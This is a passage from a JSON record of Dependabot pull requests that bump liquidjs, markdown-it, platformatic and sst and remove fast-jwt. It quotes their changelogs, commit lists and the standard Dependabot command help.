href=\"https://github.com/harttle/liquidjs/commit/e8e502c5854c9649bf7611a671a068dc260011d1\"\u003ee8e502c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eallow context access in liquidMethodMissing, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/808\"\u003e#808\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/820\"\u003e#820\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e55128850e507687f9d85a012fc3a72ac2550f3b\"\u003ee551288\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.21.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.0...v10.21.1\"\u003e10.21.1\u003c/a\u003e (2025-05-14)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eblock.super with strictVariables, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/806\"\u003e#806\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/807\"\u003e#807\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/025c40f0f2f13efa62193c61d2fa56943917ac3c\"\u003e025c40f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/blob/master/CHANGELOG.md\"\u003eliquidjs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (2026-03-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epath traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e3cd024d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport error types, resolving \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/837\"\u003e#837\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/840\"\u003e#840\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/71aa1b1998a3a66e536af67c6ea8947a28616eaf\"\u003e71aa1b1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.23.0...v10.24.0\"\u003e10.24.0\u003c/a\u003e (2025-10-27)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efilters:\u003c/strong\u003e Add base64_encode and base64_decode filters for Shopify compatibility (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/828\"\u003e#828\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/86fc135d9ec0137689faf150535b9315e75ecc30\"\u003e86fc135\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.22.0...v10.23.0\"\u003e10.23.0\u003c/a\u003e (2025-10-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport specific tokens as types (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/824\"\u003e#824\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f7d2fd84a8884e1009b13346d331a99b9721149\"\u003e4f7d2fd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.1...v10.22.0\"\u003e10.22.0\u003c/a\u003e (2025-10-06)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emath filters coerce invalid string to 0, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/813\"\u003e#813\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/819\"\u003e#819\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e8e502c5854c9649bf7611a671a068dc260011d1\"\u003ee8e502c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eallow context access in liquidMethodMissing, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/808\"\u003e#808\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/820\"\u003e#820\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e55128850e507687f9d85a012fc3a72ac2550f3b\"\u003ee551288\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.0...v10.21.1\"\u003e10.21.1\u003c/a\u003e (2025-05-14)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eblock.super with strictVariables, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/806\"\u003e#806\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/807\"\u003e#807\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/025c40f0f2f13efa62193c61d2fa56943917ac3c\"\u003e025c40f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.20.3...v10.21.0\"\u003e10.21.0\u003c/a\u003e (2025-02-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/93c38c7c6d1f3e4a3c64fc5f205cf6bff4be46a6\"\u003e\u003ccode\u003e93c38c7\u003c/code\u003e\u003c/a\u003e chore(release): 10.25.0 [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/c7a291b46bbc51fad80c4c00d2463c189af1f0be\"\u003e\u003ccode\u003ec7a291b\u003c/code\u003e\u003c/a\u003e chore: update semantic-release dependencies (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/861\"\u003e#861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/eb4683ee3ffbecc4d86108d2bc2c83fcb8d61c28\"\u003e\u003ccode\u003eeb4683e\u003c/code\u003e\u003c/a\u003e chore: update to NPM Trusted Release (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/860\"\u003e#860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/f1fc573a657e5d09d0f8264941f9ed59b812a25b\"\u003e\u003ccode\u003ef1fc573\u003c/code\u003e\u003c/a\u003e docs: state differences regarding inspect array/hash, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/852\"\u003e#852\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/853\"\u003e#853\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/858\"\u003e#858\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/524cd92cfec1f234a261082a2ee6d2ac3462d3ff\"\u003e\u003ccode\u003e524cd92\u003c/code\u003e\u003c/a\u003e docs: add peaktwilight as a contributor for code (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/857\"\u003e#857\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/0d9e7978898b5d098caca65e8fae65b960c5d76d\"\u003e\u003ccode\u003e0d9e797\u003c/code\u003e\u003c/a\u003e docs: add MorielHarush as a contributor for code (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/856\"\u003e#856\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e\u003ccode\u003e3cd024d\u003c/code\u003e\u003c/a\u003e fix: path traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/85233e0568e5bfe7d5b9d8673335e4872ad21e88\"\u003e\u003ccode\u003e85233e0\u003c/code\u003e\u003c/a\u003e docs: update testmu sponsor link (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/850\"\u003e#850\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/02403a18798716f220ff65c222b86ae7896060f5\"\u003e\u003ccode\u003e02403a1\u003c/code\u003e\u003c/a\u003e docs: Change LambdaTest to TestMu AI (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/1c6316111d93426ecd4252f568ebe834e4439bb9\"\u003e\u003ccode\u003e1c63161\u003c/code\u003e\u003c/a\u003e docs: update docs for operators (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/847\"\u003e#847\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.7.1...v10.25.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for liquidjs since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `markdown-it` from 13.0.1 to 14.1.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\"\u003emarkdown-it's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[14.1.1] - 2026-01-11\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed regression from v13 in linkify inline rule. Specific patterns could\ncause high CPU use. Thanks to \u003ca href=\"https://github.com/ltduc147\"\u003e\u003ccode\u003e@​ltduc147\u003c/code\u003e\u003c/a\u003e for report.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[14.1.0] - 2024-03-19\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated CM spec compatibility to 0.31.2, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/1009\"\u003e#1009\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed quadratic complexity when parsing references, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/996\"\u003e#996\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFixed quadratic output size with pathological user input in tables, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/1000\"\u003e#1000\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[14.0.0] - 2023-12-08\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop ancient browsers support (use \u003ccode\u003e.fromCodePoint\u003c/code\u003e and other features).\u003c/li\u003e\n\u003cli\u003eRewrite to ESM (including all plugins/deps). CJS fallback still available.\nNo signatures changed, except \u003ccode\u003emarkdown-it-emoji\u003c/code\u003e plugin.\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003edist/\u003c/code\u003e folder from repo, build on package publish.\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003epunicod...\n\n_Description has been truncated_","html_url":"https://github.com/dporkka/dittofeed-customer-engagement/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dporkka%2Fdittofeed-customer-engagement/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"}},{"old_version":null,"new_version":null,"update_type":"removal","path":null,"pr_created_at":"2026-04-02T21:08:13.000Z","version_change":"removed","issue":{"uuid":"4196998395","node_id":"PR_kwDOIMOYN87PrByp","number":13,"state":"closed","title":"Bump fast-jwt and platformatic","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-03T22:07:36.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-02T21:08:13.000Z","updated_at":"2026-04-03T22:07:38.000Z","time_to_close":89963,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":null,"new_version":null,"is_removal":true},{"name":"platformatic","repository_url":"https://github.com/platformatic/platformatic","old_version":"0.3.0","new_version":"3.46.0"}],"path":null,"ecosystem":"npm"},"body":"Removes [fast-jwt](https://github.com/nearform/fast-jwt). It's no longer used after updating ancestor dependency [platformatic](https://github.com/platformatic/platformatic). These dependencies need to be updated together.\n\nRemoves `fast-jwt`\n\nUpdates `platformatic` from 0.3.0 to 3.46.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/platformatic/platformatic/releases\"\u003eplatformatic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.45.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update dependency fastify to v5.8.3 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4685\"\u003eplatformatic/platformatic#4685\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency yaml to v2.8.3 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4686\"\u003eplatformatic/platformatic#4686\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(create-wattpm): allow better-sqlite3 builds for pnpm by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4683\"\u003eplatformatic/platformatic#4683\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Added rewritePrefix support to gateway. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4687\"\u003eplatformatic/platformatic#4687\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.44.0...v3.45.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.44.0...v3.45.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.44.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Support preRewrite in gateway custom logic. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4680\"\u003eplatformatic/platformatic#4680\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency astro to v5.18.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4660\"\u003eplatformatic/platformatic#4660\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.43.0...v3.44.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.43.0...v3.44.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.43.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eadd updateMany and insert in db-authorization role types by \u003ca href=\"https://github.com/Akallabet\"\u003e\u003ccode\u003e@​Akallabet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4669\"\u003eplatformatic/platformatic#4669\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency \u003ccode\u003e@​babel/parser\u003c/code\u003e to v7.29.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4670\"\u003eplatformatic/platformatic#4670\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency \u003ccode\u003e@​fastify/http-proxy\u003c/code\u003e to v11.4.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4671\"\u003eplatformatic/platformatic#4671\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Do not override entrypoint port when unset. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4673\"\u003eplatformatic/platformatic#4673\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Added new customization options. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4668\"\u003eplatformatic/platformatic#4668\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(wattpm): prevent help crash for snapshot and pprof by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4677\"\u003eplatformatic/platformatic#4677\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: fix typings of \u003ccode\u003egetGlobal()\u003c/code\u003e by \u003ca href=\"https://github.com/mrazauskas\"\u003e\u003ccode\u003e@​mrazauskas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4656\"\u003eplatformatic/platformatic#4656\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Rewritten override logic. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4675\"\u003eplatformatic/platformatic#4675\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Add runtime envfile option. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4678\"\u003eplatformatic/platformatic#4678\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.42.0...v3.43.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.42.0...v3.43.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.42.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update dependency tar to v7.5.11 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4654\"\u003eplatformatic/platformatic#4654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add ignoreAllReverseRoutes config option for \u003ccode\u003e@​platformatic/db\u003c/code\u003e by \u003ca href=\"https://github.com/Akallabet\"\u003e\u003ccode\u003e@​Akallabet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4655\"\u003eplatformatic/platformatic#4655\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update dependency undici to v7.24.0 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4658\"\u003eplatformatic/platformatic#4658\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add missing \u003ccode\u003e@platformatic/foundation\u003c/code\u003e types by \u003ca href=\"https://github.com/mrazauskas\"\u003e\u003ccode\u003e@​mrazauskas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4657\"\u003eplatformatic/platformatic#4657\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/add-to-project digest to ee3e379 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4659\"\u003eplatformatic/platformatic#4659\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix and add missing package READMEs by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4663\"\u003eplatformatic/platformatic#4663\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update dependency next to v16.1.7 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4664\"\u003eplatformatic/platformatic#4664\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add wattpm heap-snapshot command by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4667\"\u003eplatformatic/platformatic#4667\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): Update pino in \u003ccode\u003e@platformatic/runtime\u003c/code\u003e by \u003ca href=\"https://github.com/gijs-martens\"\u003e\u003ccode\u003e@​gijs-martens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4666\"\u003eplatformatic/platformatic#4666\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gijs-martens\"\u003e\u003ccode\u003e@​gijs-martens\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4666\"\u003eplatformatic/platformatic#4666\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.41.0...v3.42.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.41.0...v3.42.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/platformatic/platformatic/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for platformatic since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ruheni/platformatic-prisma-reproduction/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ruheni/platformatic-prisma-reproduction/pull/13","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruheni%2Fplatformatic-prisma-reproduction/issues/13","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/13/packages"}},{"old_version":null,"new_version":null,"update_type":"removal","path":null,"pr_created_at":"2026-04-02T20:47:12.000Z","version_change":"removed","issue":{"uuid":"4196903329","node_id":"PR_kwDOOP_e0M7PqwdR","number":21,"state":"open","title":"Bump fast-jwt and sst","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-02T20:47:12.000Z","updated_at":"2026-04-02T20:51:47.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":null,"new_version":null,"is_removal":true},{"name":"sst","repository_url":"https://github.com/anomalyco/sst","old_version":"2.40.6","new_version":"4.6.11"}],"path":null,"ecosystem":"npm"},"body":"Removes [fast-jwt](https://github.com/nearform/fast-jwt). It's no longer used after updating ancestor dependency [sst](https://github.com/anomalyco/sst). These dependencies need to be updated together.\n\nRemoves `fast-jwt`\n\nUpdates `sst` from 2.40.6 to 4.6.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anomalyco/sst/releases\"\u003esst's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.6.11\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ecf6809cd04dd6700a62ab6627a523568bc796a72 Add new v4 ugprade 